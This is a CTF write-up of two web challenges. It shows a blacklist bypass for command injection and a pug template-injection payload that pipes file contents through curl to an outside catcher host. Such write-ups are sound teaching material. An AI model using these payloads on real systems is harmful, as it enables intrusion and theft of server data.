flagARA CTF QUALS

Sayang sekali cuman pande upsolve :c gapapa next time hehe

1

El Kebanteren

Prabu Banter I adalah raja yang bijaksana dan adil, dihormati oleh rakyatnya karena kepemimpinannya yang tegas namun penuh kasih. Ia dikenal karena kemampuannya mendengarkan suara rakyat dan membuat keputusan yang bijak dalam memimpin kerajaan yang subur dan makmur.

Putranya, Raden Banter II, mewarisi sifat-sifat ayahnya, penuh semangat dan ambisi untuk membawa perubahan yang lebih baik bagi kerajaan, menjadikannya sosok yang diharapkan dapat melanjutkan legasi kebijaksanaan dan keberanian Prabu Banter I.

Author : abdiery

Starting off the challenge

We can see that the app has 4 endpoints but the first 2 endpoints are not that important and the /generated_quotes/ are needed later lets focus on the /get_quotes part cause this is the most interesting part

as we can see this endpoint is expecting a request and an input in the inputed variable and as we can see it will filter out lots of things

```
blacklist = [
        "ls", "cat", "rm", "mv", "id", "cp", "wget", "curl", "chmod", "chown", "find", "ps",
        "grep", "awk", "sed", "bash", "sh", "python", "perl", "php", "sudo", "whoami",
        "vi", "vim", "nano", "info", "uname", "more", "head", "less", "tail", "txt", "&&", "|", "`", "$(", ">", "<", "&", "'", '"', "*", "\n"
        ]
```

which makes us making a payload very hard at first when solving the challenge i thought this challenge is about gaining blind rce via our own host but after i solved it after the tournament ended i realised we didnt even need to make the server do the request

initially the most commong thing to test a blind command injection is using sleep (for me atleast 😅) and when reading the filters i noticed that ;was not filtered this makes testing 10x easier cause we can try bypassing via

sleep 5;ls /

of course the payload above wouldnt work

but we can test the payload if its not filtered then our payload is safe if we can see that by checking if the sleep is executed, how do i know this?

the blacklist will immediately return a new quote if our payload is filtered so by abusing the sleep we now know when our payload is working we can start simple bypassing this i tried just doing a simple cat command

sleep 5;cat

starting off with the payload were sure that the code above wouldnt work the server as expected automaticly returned the new quote but lets try a simple command bypass

sleep 5;ca\t

now the server didnt filter that! we can now continue solving the challenge cause now that we can run codes we should understand the code more

so after running the command the output will be stored in a variable called output after that we can see that it will be safed in a file from a not so random name that we can just run in our code to get the name of and im pretty sure its going to be stored in

/generated_quotes/<path:file_name>

and we can try to prove that first by doing a simple ls and trying to do a get request to that saved file endpoint

import random
import subprocess
import binascii
import requests
from datetime import datetime

url = "http://chall-ctf.ara-its.id:12124/"

data = {
        "input":"l\\s /"
}

req = requests.post(url+"get_quotes", data=data)

get_date_minute = datetime.now().strftime('%Y%m%d%H%M')
random_number = binascii.hexlify(get_date_minute.encode()).decode()
file_name = f'{random_number}.txt'

a = requests.get(url+f"generated_quotes/{file_name}")

print(a.text)

the code above will give a post request to first post the payload then we can just do a get request to get the output

and look at what we found after changing the payload abit to just cat the .txt

data = {
        "input":"c\\at /555fa546f50f3e869c7d1d5669ef280a.t\\xt"
}

upsolved 😭

2

Easy Right?

Sumpah "gampang" banget ini soal!!!

Author: daff112

hints :

starting off the challenge we are greeted by a login page so i immediately made an account and continue with the application

this is interesting cause we are greeted by a edit role function what could be vulnerable here 🤔

after reading the code i noticed that

we need to elevate our role to admin to access the /admin endpoint to continue but we have to bypass the regex of /admin/i so this is kinda hard but after studying i knew that we could bypass this just with a simple change

ADMİN

notice that the admin above has a different kind of the letter I this is one way to bypass this regex so that we could change our role to admin now we can just do a simple intercept in the update role button then change the role to ADMİN

and now we can continue solving this

after understanding the code behind the /admin page i now understand that it will ask for a variable called name in the request body that would be putted in a pug file and will be filtered first knowing that we can make a simple code to do the request

import requests

url = "http://chall-ctf.ara-its.id:21291/"

dict = {
        "connect.sid":"s%3AMSMXS15PoKP08EWzCkvY_x073Rs6NC-4.2frpqHtw8EIsDKd6gcB7HMDdHJJvEGYbmhzsVg%2BHws8"
}

while(True):
        b = input("input : ")
        datas = {
                "name":b
        }
        a = requests.post(url+"admin", cookies=dict, data=datas)
        print(a.text)

the code above makes us easy to test payloads

i inputed userinput as we can see it directly injects our payload to the pug page this means we can exploit this via ssti but first we have to know how to bypass the filters

in this challenge the filters are very strict we cant even use spaces or parentheses

after reading the hint i went studying and found something interesting

we can actually call a function without parentheses after testing this payload

we can actually run a function without using parentheses using this payload

after studying about pug i now understand that it uses #{} as templates if im not wrong and after searching for a bit i found something interesting

this is interesting cause this payload will give the output

after crafting this payload

"test"instanceof{[Symbol["hasInstance"]]:console["log"]}

we successfully injected it but it didnt run

so now we will try to craft another payload using the info that we gathered

and i crafted this payload

#{"global\x2epro\x63ess\x2emainModule\x2e\x63onstru\x63tor\x2e_load\x28\x27\x63hild_pro\x63ess\x27\x29\x2eexe\x63\x28\"\x63url\x20https://arara\x2erequest\x63at\x63her\x2e\x63om/test?=$\x28\x63at\x20/*\x2etxt\x29\"\x29"instanceof{[Symbol["hasInstance"]]:global["ev"+"al"]}}

the payload above is basicly just

#{"global.process.mainModule.constructor._load('child_process').exec(\"curl https://arara.requestcatcher.com/test?=$(cat /*.txt)\")" instanceof { [Symbol["hasInstance"]]: global["eval"] }}

we can trick the system into running eval via instanceof just like when we tested out console log like "test"instanceof{[Symbol["hasInstance"]]:console["log"]} it will the server into using console.log("test") very cool right!

and just like that we solved the challenge (upsolved 😭)

flag : ARA6{soal_jsjail_berkedok_web_WKWKKWKWKW}

Last updated